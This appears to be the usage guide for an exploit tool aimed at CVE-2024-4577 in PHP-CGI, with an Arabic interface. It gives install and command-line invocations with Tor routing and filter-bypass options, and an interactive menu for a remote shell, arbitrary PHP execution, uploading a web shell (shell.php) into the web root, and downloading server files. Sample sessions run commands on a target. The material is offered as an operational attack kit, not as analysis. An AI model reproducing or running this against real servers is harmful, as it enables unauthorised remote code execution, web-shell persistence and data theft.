pip install -r requirements.txt

pip install requests requests-tor chardet urllib3 rich

python exploit.py -u URL [--timeout sec] [--delay sec] [--log] [--verbose] [--payload PAYLOAD] [--bypass] [--tor] [--no-effects] [--force] [--cgipoint PATHS...]

python exploit.py -u http://example.com --timeout 30 --payload 2 --log --tor --verbose
python exploit.py -u http://example.com --bypass --force
python exploit.py -u http://example.com --cgipoint /php-cgi/php-cgi.exe /cgi-bin/php

╭────────────  قائمة وضع الاستغلال  ────────────╮
│ الهدف الحالي: http://example.com/              │
│ نقطة الحقن الحالية: /php-cgi/php-cgi.exe       │
│ رقم الثغرة: CVE-2024-4577                       │
╰─────────────────────────────────────────────────╯
1) 🧪 وضع Shell
2) 🛠️ وضع PHP مخصص
3) 📤 رفع ملف
4) 📥 تنزيل ملف
5) 🎯 تبديل الهدف
6) ⚙️ إعدادات المعاملات
7) ❌ خروج
>>

shell> whoami

shell> whoami --save

shell> whoami --save C:\output\whoami.txt

phpinfo();
EOF

phpinfo();
EOF --save

phpinfo();
EOF --save C:\output\info.html

مسار الملف المحلي: C:\test\shell.php
المسار الكامل للهدف:
[*] تم تعيين مسار الرفع تلقائياً إلى: C:/xampp/htdocs/shell.php

المسار الكامل للهدف: C:\xampp\php\shell.php

مسار الملف البعيد: C:\xampp\htdocs\index.php

[*] تم تنزيل الملف، محفوظ في download/index.php

أدخل عنوان الهدف الجديد: http://newtarget.com

[⚙️ قائمة إعدادات مرحلة الاستغلال]

1) تبديل الحمولة (Payload)        1
2) وحدة التجاوز (Bypass)          غير محدد
3) مهلة الانتظار (Timeout)        10 ثوانٍ
4) تأخير الطلب (Delay)            0 ثوانٍ
5) التسجيل التلقائي (Log)        مغلق
6) الوضع المفصل (Verbose)        مغلق
7) التأثيرات المتحركة (Effects)   مفعل
8) الاستغلال الإجباري (Force)    مغلق
9) حفظ والعودة إلى قائمة الاستغلال